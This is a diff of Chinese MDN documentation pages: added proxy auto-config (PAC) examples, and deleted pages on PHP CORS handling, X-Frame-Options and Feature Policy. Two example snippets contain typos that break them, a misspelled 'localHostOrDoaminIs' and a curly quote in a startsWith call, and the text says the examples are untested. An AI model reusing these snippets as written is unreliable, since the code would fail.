+dateRange(1, "JUN", 15, "AUG");
+// returns true from June 1st until August 15th, each year
+// (including June 1st and August 15th)
+
+dateRange(1, "JUN", 1995, 15, "AUG", 1995);
+// returns true from June 1st, 1995, until August 15th, same year
+
+dateRange("OCT", 1995, "MAR", 1996);
+// returns true from October 1995 until March 1996
+// (including the entire month of October 1995 and March 1996)
+
+dateRange(1995);
+// returns true during the entire year of 1995
+
+dateRange(1995, 1997);
+// returns true from beginning of year 1995 until the end of year 1997
+ +

timeRange()

+ +

语法

+ +
// The full range of expansions is analogous to dateRange.
+timeRange(<hour1>, <min1>, <sec1>, <hour2>, <min2>, <sec2>, [gmt])
+ +
+

注意: (Before Firefox 49) the category hour1, min1, sec1 must be less than the category hour2, min2, sec2 if you want the function to evaluate these parameters as a range. See the warning below.

+
+ +

参数

+ +
+
hour
+
小时,区间为 0 到 23。(0 是午夜 0 点,1 是上午 1 点,11 是正午 12 点,23 是下午 11 点。)
+
min
+
分钟,区间为 0 到 59。
+
sec
+
 秒,区间为 0 到 59。
+
gmt
+
可以指定为字符串 "GMT",代表使用 GMT 时区,或者留白不指定,代表使用浏览器获取到的平台本地时区。
+
+ +

If only a single value is specified (from each category: hour, minute, second), the function returns a true value only at times that match that specification. If both values are specified, the result is true between those times, including bounds, but the bounds are ordered.

+ +
+

The order of the hour, minute, second matter; Before Firefox 49, timeRange(0, 23) will always evaluate to true. Now timeRange(23, 0) will only evaluate true if the current hour is 23:00 or midnight.

+
+ +

例子

+ +
timerange(12);                // returns true from noon to 1pm
+timerange(12, 13);            // returns true from noon to 1pm
+timerange(12, "GMT");         // returns true from noon to 1pm, in GMT timezone
+timerange(9, 17);             // returns true from 9am to 5pm
+timerange(8, 30, 17, 00);     // returns true from 8:30am to 5:00pm
+timerange(0, 0, 0, 0, 0, 30); // returns true between midnight and 30 seconds past midnight
+ +

例 1

+ +

对除本地主机以外的所有连接使用代理

+ +
+

注意: 以下所有示例都只针对特定需求并未经测试

+
+ +

所有并非完全限定的主机名,以及在本地域内的主机名,都将直接连接。其他的会通过w3proxy:8080 连接。如果代理不可用,则自动回退到直连。

+ +
function FindProxyForURL(url, host) {
+  if (isPlainHostName(host) || dnsDomainIs(host, ".mozilla.org")) {
+    return "DIRECT";
+  } else {
+    return "PROXY w3proxy.mozilla.org:8080; DIRECT";
+  }
+}
+ +
+

注意: 这是只有一个代理服务器情况下最简单高效的自动配置脚本。

+
+ +

例 2

+ +

和例 1 一样,但是对防火墙外的本地服务器使用代理

+ +

如果有主机(例如生产环境中的 Web 服务器)属于本地域但在防火墙外,仅可通过代理访问,可以通过 localHostOrDomainIs() 来为上述主机添加例外:

+ +
function FindProxyForURL(url, host) {
+  if (
+    (isPlainHostName(host) || dnsDomainIs(host, ".mozilla.org")) &&
+    !localHostOrDomainIs(host, "www.mozilla.org") &&
+    !localHostOrDoaminIs(host, "merchant.mozilla.org")
+  ) {
+        return "DIRECT";
+  } else {
+    return "PROXY w3proxy.mozilla.org:8080; DIRECT";
+  }
+}
+ +

以上示例为 mozilla.org 域外所有主机使用代理,同时添加了例外使 www.mozilla.orgmerchant.mozilla.org 也使用代理。

+ +
+

注意:以上例外的顺序影响效率:localHostOrDomainIs() 只在 URL 位于本地域内时执行,注意位于 || 外和  && 前的括号。

+
+ +

例 3

+ +

如果无法解析域名,则使用代理

+ +

这个示例可用于网络中的DNS服务器只解析内部主机名的情况,其功能是只对不能成功解析的域名使用代理。

+ +
function FindProxyForURL(url, host) {
+  if (isResolvable(host))
+    return "DIRECT";
+  else
+    return "PROXY proxy.mydomain.com:8080";
+}
+ +

以上代码每一次均会进行DNS查询,这可以通过添加其他一些规则,只在其他规则不能给出结果时进行DNS查询来解决:

+ +
function FindProxyForURL(url, host) {
+  if (
+    isPlainHostName(host) ||
+    dnsDomainIs(host, ".mydomain.com") ||
+    isResolvable(host)
+  ) {
+    return "DIRECT";
+  } else {
+    return "PROXY proxy.mydomain.com:8080";
+  }
+}
+ +

例 4

+ +

基于网域(Subnet)的选择方案

+ +

在此示例中,所有同一子网内的主机均直接连接,其他主机则通过代理连接:

+ +
function FindProxyForURL(url, host) {
+  if (isInNet(host, "198.95.0.0", "255.255.0.0"))
+    return "DIRECT";
+  else
+    return "PROXY proxy.mydomain.com:8080";
+}
+ +

同样的,对 DNS 的使用可以通过添加冗余的规则来最小化:

+ +
function FindProxyForURL(url, host) {
+  if (
+    isPlainHostName(host) ||
+    dnsDomainIs(host, ".mydomain.com") ||
+    isInNet(host, "198.95.0.0", "255.255.0.0")
+  ) {
+    return "DIRECT";
+  } else {
+    return "PROXY proxy.mydomain.com:8080";
+  }
+}
+ +

例 5

+ +

负载均衡 / 基于 URL 模式(pattern)的路由规划

+ +

This example is more sophisticated. There are four (4) proxy servers; one of them is a hot stand-by for all of the other ones, so if any of the remaining three goes down the fourth one will take over. Furthermore, the three remaining proxy servers share the load based on URL patterns, which makes their caching more effective (there is only one copy of any document on the three servers - as opposed to one copy on each of them). The load is distributed like this:

+ + + + + + + + + + + + + + + + + + + + + + + + +
代理用途
#1.com 域名
#2.edu 域名
#3所有其他域名
#4备用(原文:hot stand-by,活跃备用、热备用)
+ +

All local accesses are desired to be direct. All proxy servers run on the port 8080 (they don't need to, you can just change your port but remember to modify your configuations on both side). Note how strings can be concatenated with the + operator in JavaScript.

+ +
function FindProxyForURL(url, host) {
+
+  if (isPlainHostName(host) || dnsDomainIs(host, ".mydomain.com"))
+    return "DIRECT";
+
+  else if (shExpMatch(host, "*.com"))
+    return "PROXY proxy1.mydomain.com:8080; " +
+           "PROXY proxy4.mydomain.com:8080";
+
+  else if (shExpMatch(host, "*.edu"))
+    return "PROXY proxy2.mydomain.com:8080; " +
+           "PROXY proxy4.mydomain.com:8080";
+
+  else
+    return "PROXY proxy3.mydomain.com:8080; " +
+           "PROXY proxy4.mydomain.com:8080";
+}
+ +

例 6

+ +

为特定协议设置代理

+ +

大多数 JavaScript 标准功能在 FindProxyForURL() 中可用。作为例子,我们通过{{jsxref("String.prototype.startsWith()", "startsWith()")}} 为不同的协议设置不同的代理。

+ +
function FindProxyForURL(url, host) {
+
+  if (url.startsWith("http:"))
+    return "PROXY http-proxy.mydomain.com:8080";
+
+  else if (url.startsWith("ftp:"))
+    return "PROXY ftp-proxy.mydomain.com:8080";
+
+  else if (url.startsWith(“gopher:"))
+    return "PROXY gopher-proxy.mydomain.com:8080";
+
+  else if (url.startsWith("https:") || url.startsWith("snews:"))
+    return "PROXY security-proxy.mydomain.com:8080";
+
+  else
+    return "DIRECT";
+
+}
+ +
+

注意: shExpMatch() 也可以做到,例如:

+ +
// ...
+if (shExpMatch(url, "http:*")) {
+  return "PROXY http-proxy.mydomain.com:8080";
+}
+// ...
+
+
+ +
+

自动配置脚本也可以在服务端动态生成。这在某些情况下比较有用,例如根据客户端地址指定不同的代理服务器。

+ +

isInNet()isResolvable()dnsResolve() 应该谨慎使用,这些函数会进行  DNS 查询。其他函数则大都是字符处理函数,不需要 DNS 。如果通过代理连接,代理本身也会进行一次 DNS 查询,这产生了额外的 DNS 请求。并且绝大多数情况下,不需要这些函数来实现特定的功能。

+
+ +

历史与实现

+ +

Proxy auto-config was introduced into Netscape Navigator 2.0 in the late 1990s, at the same time when JavaScript was introduced. Open-sourcing Netscape eventually lead to Firefox itself.

+ +

The most "original" implementation of PAC and its JavaScript libraries is, therefore, nsProxyAutoConfig.js found in early versions of Firefox. These utilities are found in many other open-source systems including Chromium. Firefox later integrated the file into ProxyAutoConfig.cpp as a string literal.

+ +

Microsoft in general made its own implementation. There used to be some problems with their libraries, but most are resolved by now. They have defined some new "Ex" suffixed functions around the address handling parts to support IPv6. The feature is supported by Chromium, but not yet by Firefox (bugzilla #558253).

diff --git a/files/zh-cn/web/http/server-side_access_control/index.html b/files/zh-cn/web/http/server-side_access_control/index.html deleted file mode 100644 index 50a52b3405..0000000000 --- a/files/zh-cn/web/http/server-side_access_control/index.html +++ /dev/null @@ -1,249 +0,0 @@ ---- -title: Server-Side Access Control -slug: Web/HTTP/Server-Side_Access_Control -tags: - - AJAX - - CORS - - HTTP - - PHP -translation_of: Web/HTTP/CORS -translation_of_original: Web/HTTP/Server-Side_Access_Control ---- -

{{HTTPSidebar}}

- -

浏览器会针对从 {{domxref("XMLHttpRequest")}} 或Fetch API中发起的跨网站请求发送特定的HTTP标头。它还希望看到使用跨站点响应发送回的特定HTTP标头。这些标头的概述,包括启动请求和处理来自服务器的响应的示例JavaScript代码, 以及每个头的讨论,可以在HTTP访问控制(CORS)文章中找到,应该作为本文的配套文章阅读。

- -

HTTP访问控制文章是很好的使用指南。本文介绍利用PHP处理访问控制请求和制定访问控制响应。本文的目标读者是服务器程序员或管理员。虽然在PHP代码示例所示,类似的概念适用于ASP.net,Perl、Python、Java等;一般来说,这些概念可以应用于任何服务器端编程环境处理HTTP请求和动态制定的HTTP响应。

- -

讨论HTTP标头

- -

了解HTTP 头部信息, 建议先阅读这篇文章 covering the HTTP headers used by both clients (such as Firefox 3.5 and beyond) and servers

- -
 
- -

工作代码示例

- -

随后的章节中PHP代码(和JavaScript调用服务器)可查看相关代码,这些代码在实现了XMLHttpRequest的浏览器上都可运行,像Firefox 3.5及以上。

- -
 
- -

简单的跨站请求

- -

简单的访问控制请求 在下列情况下会被发起:

- -
    -
  • 请求方式为 HTTP/1.1 GET 或者 POST,如果是POST,则请求的Content-Type为以下之一: application/x-www-form-urlencodedmultipart/form-data, 或text/plain
  • -
  • 在请求中,不会发送自定义的头部(如X-Modified)
  • -
- -

以下情况,请求会返回相关响应信息

- -
    -
  • 如果资源是允许公开访问的(就像任何允许GET访问的 HTTP资源),返回Access-Control-Allow-Origin:*头信息就足够了,除非是一些需要Cookies和HTTP身份验证信息的请求。
  • -
  • -
    如果资源访问被限制基于相同的域名,或者如果要访问的资源需要凭证(或设置凭证),那么就有必要对请求头信息中的ORIGIN进行过滤,或者至少响应请求的来源(例如Access-Control-Allow-Origin:http://arunranga.com)。另外,将发送Access-Control-Allow-Credentials:TRUE头信息,这在后续部分将进行讨论。
    -
  • -
- -

 简单的访问控制请求 介绍了在客户端和服务端进行信息交换的HEADER.  下面是一段用来处理简单请求的PHP代码。

- -
<?php
-
-// 我们将只授予 arunranga.com 域的访问权限,因为我们认为它通过 application/xml 方式来访问这些资源是安全的。
-
-if($_SERVER['HTTP_ORIGIN'] == "http://arunranga.com")
-{
-
-    header('Access-Control-Allow-Origin: http://arunranga.com');
-    header('Content-type: application/xml');
-    readfile('arunerDotNetResource.xml');
-}
-else
-{
-header('Content-Type: text/html');
-echo "<html>";
-echo "<head>";
-echo "   <title>Another Resource</title>";
-echo "</head>";
-echo "<body>",
-    "<p>This resource behaves two-fold:";
-echo "<ul>",
-        "<li>If accessed from <code>http://arunranga.com</code> it returns an XML document</li>";
-echo " <li>If accessed from any other origin including from simply typing in the URL into the browser's address bar,";
-echo "you get this HTML document</li>",
-    "</ul>",
-"</body>",
-"</html>";
-}
-?>
-
- -

上面的代码通过检查浏览器发送的 ORIGIN 头部信息(通过 $_SERVER['HTTP_ORIGIN'] ) 是否匹配 'http://arunranga.com' 得知,如果是,返回 Access-Control-Allow-Origin: http://arunranga.com 。如果你的浏览器支持访问控制,你可以访问 这里 .

- -

预请求

- -

预请求 发生在下列情况中:

- -
    -
  • 使用GET或POST以外的方法;利用POST发送application/x-www-form-urlencodedmultipart/form-data, or text/plain之外的Content-Type;例如,post body的Content-type为application/xml
  • -
  • 发送自定义的头信息,如x-pingaruner
  • -
- -

预请求访问控制 这篇文章介绍了在客户端和服务器间进行交换的头信息,响应preflight requests请求的服务器资源会有这些动作:

- -
    -
  •  基于 ORIGIN 进行过滤
  • -
  •  preflight请求的响应内容,包括必要的 Access-Control-Allow-Methods, Access-Control-Allow-Headers (保证系统正常运行),如果需要凭据的话,也会包括 Access-Control-Allow-Credentials 头信息
  • -
  • 响应实际请求,包括处理 POST数据等。
  • -
- -

下面是相关的PHP内容, preflighted request:

- -
<?php
-if($_SERVER['REQUEST_METHOD'] == "GET")
-{
-    header('Content-Type: text/plain');
-    echo "This HTTP resource is designed to handle POSTed XML input from arunranga.com and not be retrieved with GET";
-
-}
-elseif($_SERVER['REQUEST_METHOD'] == "OPTIONS")
-{
-    // 告诉客户端我们支持来自 arunranga.com 的请求并且预请求有效期将仅有20天
-    if($_SERVER['HTTP_ORIGIN'] == "http://arunranga.com")
-    {
-    header('Access-Control-Allow-Origin: http://arunranga.com');
-    header('Access-Control-Allow-Methods: POST, GET, OPTIONS');
-    header('Access-Control-Allow-Headers: X-PINGARUNER');
-    header('Access-Control-Max-Age: 1728000');
-    header("Content-Length: 0");
-    header("Content-Type: text/plain");
-    //exit(0);
-    }
-    else
-    {
-    header("HTTP/1.1 403 Access Forbidden");
-    header("Content-Type: text/plain");
-    echo "You cannot repeat this request";
-
-    }
-}
-elseif($_SERVER['REQUEST_METHOD'] == "POST")
-{
-    /* 通过首先获得XML传送过来的blob来处理POST请求,然后做一些处理, 最后将结果返回客户端
-    */
-    if($_SERVER['HTTP_ORIGIN'] == "http://arunranga.com")
-    {
-            $postData = file_get_contents('php://input');
-            $document = simplexml_load_string($postData);
-
-            // 对POST过来的数据进行一些处理
-
-            $ping = $_SERVER['HTTP_X_PINGARUNER'];
-
-
-            header('Access-Control-Allow-Origin: http://arunranga.com');
-            header('Content-Type: text/plain');
-            echo // 处理之后的一些响应
-    }
-    else
-        die("POSTing Only Allowed from arunranga.com");
-}
-else
-    die("No Other Methods Allowed");
-
-?>
-
- -

可以看到,就像POST一样,针对OPTIONS preflight请求,同样返回对应的头信息。这样 以来,处理preflight就像处理普通的request请求一样,在针对OPTIONS请求的响应信息中,服务器通过客户端,实际的请求可以用POST的形式发送,同时可附加X-PINGARUNERP这样的头信息。如果浏览器支持的话,可访问 这里

- -

凭证请求

- -

带凭据的请求,将Cookies和HTTP认证信息一起发送出去的跨域请求,根据请求方式,可以是 Simple 或 Preflighted,

- -

发送 简单请求 时, Firefox 3.5 (或以上)会发送带Cookies信息的请求,  (如果withCredentials 设以true). 如果服务器响应真的是可信任的, 客户端接受并进行输出。 在 预请求 中,服务器可以针对 OPTIONS 请求,返回 Access-Control-Allow-Credentials: true 信息

- -

下面是处理请求的PHP内容:

- -
<?php
-
-if($_SERVER['REQUEST_METHOD'] == "GET")
-{
-
-    // First See if There Is a Cookie
-    //$pageAccess = $_COOKIE['pageAccess'];
-    if (!isset($_COOKIE["pageAccess"])) {
-
-    setcookie("pageAccess", 1, time()+2592000);
-    header('Access-Control-Allow-Origin: http://arunranga.com');
-    header('Cache-Control: no-cache');
-    header('Pragma: no-cache');
-    header('Access-Control-Allow-Credentials: true');
-    header('Content-Type: text/plain');
-    echo 'I do not know you or anyone like you so I am going to mark you with a Cookie :-)';
-
-    }
-    else
-    {
-
-    $accesses = $_COOKIE['pageAccess'];
-    setcookie('pageAccess', ++$accesses, time()+2592000);
-    header('Access-Control-Allow-Origin: http://arunranga.com');
-    header('Access-Control-Allow-Credentials: true');
-    header('Cache-Control: no-cache');
-    header('Pragma: no-cache');
-    header('Content-Type: text/plain');
-    echo 'Hello -- I know you or something a lot like you!  You have been to ', $_SERVER['SERVER_NAME'], ' at least ', $accesses-1, ' time(s) before!';
-    }
-
-}
-elseif($_SERVER['REQUEST_METHOD'] == "OPTIONS")
-{
-    // Tell the Client this preflight holds good for only 20 days
-    if($_SERVER['HTTP_ORIGIN'] == "http://arunranga.com")
-    {
-    header('Access-Control-Allow-Origin: http://arunranga.com');
-    header('Access-Control-Allow-Methods: GET, OPTIONS');
-    header('Access-Control-Allow-Credentials: true');
-    header('Access-Control-Max-Age: 1728000');
-    header("Content-Length: 0");
-    header("Content-Type: text/plain");
-    //exit(0);
-    }
-    else
-    {
-    header("HTTP/1.1 403 Access Forbidden");
-    header("Content-Type: text/plain");
-    echo "You cannot repeat this request";
-
-    }
-}
-else
-    die("This HTTP Resource can ONLY be accessed with GET or OPTIONS");
-
-
-
-?>
-
- -

需要注意的是,在带凭据请求中, Access-Control-Allow-Origin: 头不能是通配符 "*",必须是一个有效的域名。  可参考这里 running here

- -

Apache示例

- -

限制对某些URI的访问

- -

最有效的方法之一,利用Apache rewrite, 环境变量,还有headers使Access-Control-Allow-* 对某些特定的URI生效,比如,以无认证信息形式利用GET跨域请求api(.*).json。

- -
RewriteRule ^/api(.*)\.json$ /api$1.json [CORS=True]
-Header set Access-Control-Allow-Origin "*" env=CORS
-Header set Access-Control-Allow-Methods "GET" env=CORS
-Header set Access-Control-Allow-Credentials "false" env=CORS
-
- -

参见

- - diff --git a/files/zh-cn/web/http/x-frame-options/index.html b/files/zh-cn/web/http/x-frame-options/index.html deleted file mode 100644 index 2b6cfcda76..0000000000 --- a/files/zh-cn/web/http/x-frame-options/index.html +++ /dev/null @@ -1,161 +0,0 @@ ---- -title: X-Frame-Options -slug: Web/HTTP/X-Frame-Options -tags: - - HTTP - - 响应头 - - 响应头部 - - 安全性 -translation_of: Web/HTTP/Headers/X-Frame-Options ---- -
{{HTTPSidebar}}
- -

The X-Frame-Options HTTP 响应头是用来给浏览器 指示允许一个页面 可否在 {{HTMLElement("frame")}}, {{HTMLElement("iframe")}}, {{HTMLElement("embed")}} 或者 {{HTMLElement("object")}} 中展现的标记。站点可以通过确保网站没有被嵌入到别人的站点里面,从而避免 {{interwiki("wikipedia", "clickjacking")}} 攻击。

- -

The added security is only provided if the user accessing the document is using a browser supporting X-Frame-Options. {{HTTPHeader("Content-Security-Policy")}} HTTP 头中的 frame-ancestors 指令会替代这个非标准的 header。CSP 的 frame-ancestors 会在 {{Gecko("4.0")}} 中支持,但是并不会被所有浏览器支持。然而 X-Frame-Options 是个已广泛支持的非官方标准,可以和 CSP 结合使用。

- - - - - - - - - - - - -
Header type{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}no
- -

语法

- -

X-Frame-Options 有三个可能的值:

- -
X-Frame-Options: deny
-X-Frame-Options: sameorigin
-X-Frame-Options: allow-from https://example.com/
-
- -

指南

- -

换一句话说,如果设置为 deny,不光在别人的网站 frame 嵌入时会无法加载,在同域名页面中同样会无法加载。另一方面,如果设置为sameorigin,那么页面就可以在同域名页面的 frame 中嵌套。

- -
-
deny
-
表示该页面不允许在 frame 中展示,即便是在相同域名的页面中嵌套也不允许。
-
sameorigin
-
表示该页面可以在相同域名页面的 frame 中展示。
-
allow-from uri
-
表示该页面可以在指定来源的 frame 中展示。
-
- -

例子

- -
-

Note: 设置 meta 标签是无效的!例如 <meta http-equiv="X-Frame-Options" content="deny"> 没有任何效果。不要这样用!只有当像下面示例那样设置 HTTP 头 X-Frame-Options 才会生效。

-
- -

配置 Apache

- -

配置 Apache 在所有页面上发送 X-Frame-Options 响应头,需要把下面这行添加到 'site' 的配置中:

- -
Header always set X-Frame-Options "sameorigin"
-
- -

要将 Apache 的配置 X-Frame-Options 设置成 deny , 按如下配置去设置你的站点:

- -
Header set X-Frame-Options "deny"
-
- -

要将 Apache 的配置 X-Frame-Options 设置成 allow-from,在配置里添加:

- -
Header set X-Frame-Options "allow-from https://example.com/"
-
- -

配置 nginx

- -

配置 nginx 发送 X-Frame-Options 响应头,把下面这行添加到 'http', 'server' 或者 'location' 的配置中:

- -
add_header X-Frame-Options sameorigin always;
-
- -

配置 IIS

- -

配置 IIS 发送 X-Frame-Options 响应头,添加下面的配置到 Web.config 文件中:

- -
<system.webServer>
-  ...
-
-  <httpProtocol>
-    <customHeaders>
-      <add name="X-Frame-Options" value="sameorigin" />
-    </customHeaders>
-  </httpProtocol>
-
-  ...
-</system.webServer>
-
- -

配置 HAProxy

- -

配置 HAProxy 发送 X-Frame-Options 头,添加这些到你的前端、监听 listen,或者后端的配置里面:

- -
rspadd X-Frame-Options:\ sameorigin
-
- -

或者,在更加新的版本中:

- -
http-response set-header X-Frame-Options sameorigin
-
- -

配置 Express

- -

要配置 Express 可以发送 X-Frame-Options header,你可以用借助了 frameguard 来设置头部的 helmet。在你的服务器配置里面添加:

- -
const helmet = require('helmet');
-const app = express();
-app.use(helmet.frameguard({ action: "sameorigin" }));
-
- -

或者,你也可以直接用 frameguard

- -
const frameguard = require('frameguard')
-app.use(frameguard({ action: 'sameorigin' }))
-
- -

结果

- -

在 Firefox 尝试加载 frame 的内容时,如果 X-Frame-Options 响应头设置为禁止访问了,那么 Firefox 会用 about:blank 展现到 frame 中。也许从某种方面来讲的话,展示为错误消息会更好一点。

- -

规范

- - - - - - - - - - - - - - -
规范标题
{{RFC("7034")}}HTTP Header Field X-Frame-Options
- -

浏览器兼容性

- - - -

{{Compat("http.headers.X-Frame-Options")}}

- -

参见

- - diff --git "a/files/zh-cn/web/http/\347\255\226\347\225\245\347\211\271\345\276\201/index.html" "b/files/zh-cn/web/http/\347\255\226\347\225\245\347\211\271\345\276\201/index.html" deleted file mode 100644 index 90e83fb04a..0000000000 --- "a/files/zh-cn/web/http/\347\255\226\347\225\245\347\211\271\345\276\201/index.html" +++ /dev/null @@ -1,153 +0,0 @@ ---- -title: Feature Policy -slug: Web/HTTP/策略特征 -translation_of: Web/HTTP/Feature_Policy ---- -
{{SeeCompatTable}}{{HTTPSidebar}}
- -

特征策略允许web开发者在浏览器中选择启用、禁用和修改确切特征和 API 的行为.比如{{Glossary("CSP","内容安全策略")}},但是它控制的是浏览器的特征非安全行为.

- -

概述

- -

特征策略提供了一种机制去声明哪些功能通过你的网络,是可以被用的(或者不被使用的)。这就允许你通过功能可用性来很好的锁定功能,即使代码很老,或者包含第三方的内容。

- -

有了功能策略,你可以选择一组“策略”,让浏览器强制执行整个网站使用的特定功能。这些策略限制了站点可以访问哪些api,或者修改浏览器对某些特性的默认行为

- -

使用特性策略可以做什么的示例?:

- -
    -
  • 改变手机和第三方视频自动播放的默认行为.
  • -
  • 限制网站使用敏感的api,如摄像头或麦克风.
  • -
  • -

    允许iframes使用全屏API.

    -
  • -
  • -

    阻止使用过时的api,比如 synchronous XHR 和 {{domxref("document.write()")}}.

    -
  • -
  • 确保图像的大小正确,对于视口来说不会太大.
  • -
- -

概念和用法

- -

特性策略允许您在顶级页面和嵌入式框架中控制哪些源可以使用哪些特性。实际上,您编写了一个策略,它是每个特性允许的起源列表。对于由特性策略控制的每个特性,只有当它的起源与允许的起源列表匹配时,该特性才会在当前文档或框架中启用.

- -

对于每个策略控制的功能,浏览器都会维护启用该功能的来源列表,称为允许列表。如果您未为功能指定策略,则将使用默认的允许列表。默认的许可列表特定于每个功能.

- -

编写策略

- -

使用一组单独的策略指令来描述策略。策略指令是已定义功能名称和可以使用该功能的来源的允许列表的组合.

- -

指定策略

- -

功能策略提供了两种方法来指定用于控制功能的策略:

- -
    -
  •  {{httpheader('Feature-Policy')}} HTTP 报文头.
  • -
  • 在{{HTMLElement('iframe','allow','#Attributes')}} iframes 之上的属性.
  • -
- -

HTTP标头和allow属性之间的主要区别在于allow属性仅控制iframe中的功能。标头控制响应中的功能以及页面内的任何嵌入式内容.

- -

点此链接查看更多详细信息 Using Feature Policy.

- -

策略控制功能的类型

- -

尽管功能策略使用一致的语法提供了对多个功能的控制,但是策略控制功能的行为却有所不同,并取决于多个因素.

- -

一般原则是,Web开发人员应该有一种直观或不间断的方式来检测或处理禁用该功能的情况。新引入的功能可能具有显示状态的显式API。稍后与功能策略集成的现有功能通常将使用现有机制。一些方法包括:

- -
    -
  • 对于需要用户权限授予的JavaScript API,返回“权限被拒绝(permission denied)”.
  • -
  • 从提供功能访问权限的现有JavaScript API返回falseerror.
  • -
  • 更改控制功能行为的默认值或选项.
  • -
- -

当前的一组策略控制功能可分为两大类:

- -
    -
  • 实施最佳实践以获得良好的用户体验.
  • -
  • 提供对敏感或强大功能的精细控制.
  • -
- -

良好用户体验的最佳实践

- -

有几种策略控制的功能可帮助实施最佳实践,以提供良好的性能和用户体验.

- -

在大多数情况下,策略控制的功能代表的功能在使用时会对用户体验产生负面影响。为避免破坏现有的Web内容,此类策略控制功能的默认设置是允许所有来源使用该功能。然后,通过使用禁用策略控制功能的策略来实施最佳实践。有关更多详细信息,请参见“实施最佳实践以提供良好的用户体验”.

- -

功能包括:

- -
    -
  • Layout-inducing 动画
  • -
  • 传统的图像格式
  • -
  • 超大号的图片
  • -
  • 同步脚本
  • -
  • 同步 XMLHTTPRequest
  • -
  • 为优化的图像
  • -
  • 大小不一的媒体
  • -
- -

精细控制某些功能

- -

Web提供的功能和API如果被滥用,可能会带来隐私或安全风险。在某些情况下,您可能希望严格限制在网站上使用此类功能的方式。有策略控制的功能,允许针对网站中的特定来源或框架启用/禁用功能。该功能在可用时与Permissions API或特定于功能的机制集成在一起,以检查该功能是否可用.

- -

功能包括:

- -
    -
  • 加速器
  • -
  • 环境光源感测器
  • -
  • 自动播放
  • -
  • 摄像功能
  • -
  • 加密媒体信息
  • -
  • 全屏功能
  • -
  • 地理定位
  • -
  • 陀螺仪
  • -
  • 延迟加载
  • -
  • 麦克风
  • -
  • Midi
  • -
  • 支付请求
  • -
  • 画中画(Picture-in-picture)
  • -
  • 扬声器
  • -
  • USB
  • -
  • VR / XR
  • -
- -

更多示例

- - - -

规范

- - - - - - - - - - - - - - -
说明书状态描述
{{SpecName('Feature Policy','#feature-policy-http-header-field','Feature-Policy')}}{{Spec2('Feature Policy')}}初始化前定义 {{httpheader('Feature-Policy')}} 头. 规范中定义了指令所控制的特性. 有关详细信息,请参阅个别指令页面.
- -

浏览器兼容性

- - - -

{{Compat("http.headers.Feature-Policy")}}

- -

参见

- - diff --git "a/files/zh-cn/web/http/\347\255\226\347\225\245\347\211\271\345\276\201/using_feature_policy/index.html" "b/files/zh-cn/web/http/\347\255\226\347\225\245\347\211\271\345\276\201/using_feature_policy/index.html" deleted file mode 100644 index 9a37fa46f3..0000000000 --- "a/files/zh-cn/web/http/\347\255\226\347\225\245\347\211\271\345\276\201/using_feature_policy/index.html" +++ /dev/null @@ -1,140 +0,0 @@ ---- -title: Using Feature Policy -slug: Web/HTTP/策略特征/Using_Feature_Policy -translation_of: Web/HTTP/Feature_Policy/Using_Feature_Policy ---- -
{{HTTPSidebar}} {{SeeCompatTable}}
- -

Feature Policy allows you to control which origins can use which features, both in the top-level page and in embedded frames. Essentially, you write a policy, which is an allowed list of origins for each feature. For every feature controlled by Feature Policy, the feature is only enabled in the current document or frame if its origin matches the allowed list of origins.

- -

For each policy-controlled feature, the browser maintains a list of origins for which the feature is enabled, known as an allowlist. If you do not specify a policy for a feature, then a default allowlist will be used. The default allowlist is specific to each feature.

- -

Writing a policy

- -

A policy is described using a set of individual policy directives. A policy directive is a combination of a defined feature name, and an allowlist of origins that can use the feature.

- -

allowlist

- -

allowlist可以使用以下一个或多个值。

- -
    -
  • *: 允许在当前文档和所有包含的内容(比如iframes)中使用本特性。
  • -
  • 'self': 允许在当前文档中使用本特性,但在包含的内容(比如iframes)仍使用原值。
  • -
  • 'src': (只在iframe中允许) 只要在{{HTMLElement('iframe','src','#Attributes')}} 中的URL和加载iframe用的URL相同,则本特性在iframe中允许,
  • -
  • 'none': 从最上层到包含的内容都禁止本特性。
  • -
  • <origin(s)>: 在特定的源中允许,源URL以空格分割。
  • -
- -

*(在所有源地址启用)'none'(在所有源地址禁用)只允许单独使用,而'self''src'可以与多个源地址一起使用。

- -

所有的特性都有一个如下的默认的allowlist

- -
    -
  • *: 本特性默认在最上层和包含的内容中(iframes)允许。
  • -
  • 'self': 本特性默认在最上层允许,而包含的内容中(iframes)使用源地址相同设定。也就是说本特性在iframe中不允许跨域访问。
  • -
  • 'none': 本特性默认在最上层和包含的内容中(iframes)都禁止。
  • -
- -

Specifying your policy

- -

Feature Policy provides two ways to specify policies to control features:

- -
    -
  • The {{httpheader('Feature-Policy')}} HTTP header.
  • -
  • The {{htmlattrxref("allow", "iframe")}} attribute on {{htmlelement("iframe")}}s.
  • -
- -

The primary difference between the HTTP header and the allow attribute is that the allow attribute only controls features within an iframe. The header controls features in the response and any embedded content within the page.

- -

The Feature-Policy HTTP header

- -

You can send the Feature-Policy HTTP header with the response of a page. The value of this header is a policy to be enforced by the browser for the given page. It has the following structure.

- -
Feature-Policy: <feature name> <allowlist of origin(s)>
- -

For example, to block all content from using the Geolocation API across your site:

- -
Feature-Policy: geolocation 'none'
- -

Several features can be controlled at the same time by sending the HTTP header with a semicolon-separated list of policy directives, or by sending a separate header for each policy.

- -

For example, the following are equivalent:

- -
Feature-Policy: unsized-media 'none'; geolocation 'self' https://example.com; camera *;
-
-Feature-Policy: unsized-media 'none'
-Feature-Policy: geolocation 'self' https://example.com
-Feature-Policy: camera *;
-
- -

The iframe allow attribute

- -

The second way to use Feature Policy is for controlling content within an iframe. Use the allow attribute to specify a policy list for embedded content.

- -

For example, allow all browsing contexts within this iframe to use fullscreen:

- -
<iframe src="https://example.com..." allow="fullscreen"></iframe>
- -

This is equivalent to:

- -
<iframe src="https://example.com..." allow="fullscreen 'src'"></iframe>
- -

This example allows <iframe> content on a particular origin to access the user's location:

- -
<iframe src="https://google-developers.appspot.com/demos/..."
-        allow="geolocation https://google-developers.appspot.com"></iframe>
-
- -

Similar to the HTTP header, several features can be controlled at the same time by specifying a semicolon-separated list of policy directives.

- -

For example, this blocks the <iframe> from using the camera and microphone:

- -
<iframe allow="camera 'none'; microphone 'none'">
-
- -

Inheritance of policy for embedded content

- -

Scripts inherit the policy of their browsing context, regardless of their origin. That means that top-level scripts inherit the policy from the main document.

- -

All iframes inherit the policy of their parent page. If the iframe has an allow attribute, the policies of the parent page and the allow attribute are combined, using the most restrictive subset. For an iframe to have a feature enabled, the origin must be in the allowlist for both the parent page and the allow attribute.

- -

Disabling a feature in a policy is a one-way toggle. If a feature has been disabled for a child frame by its parent frame, the child cannot re-enable it, and neither can any of the child's descendants.

- -

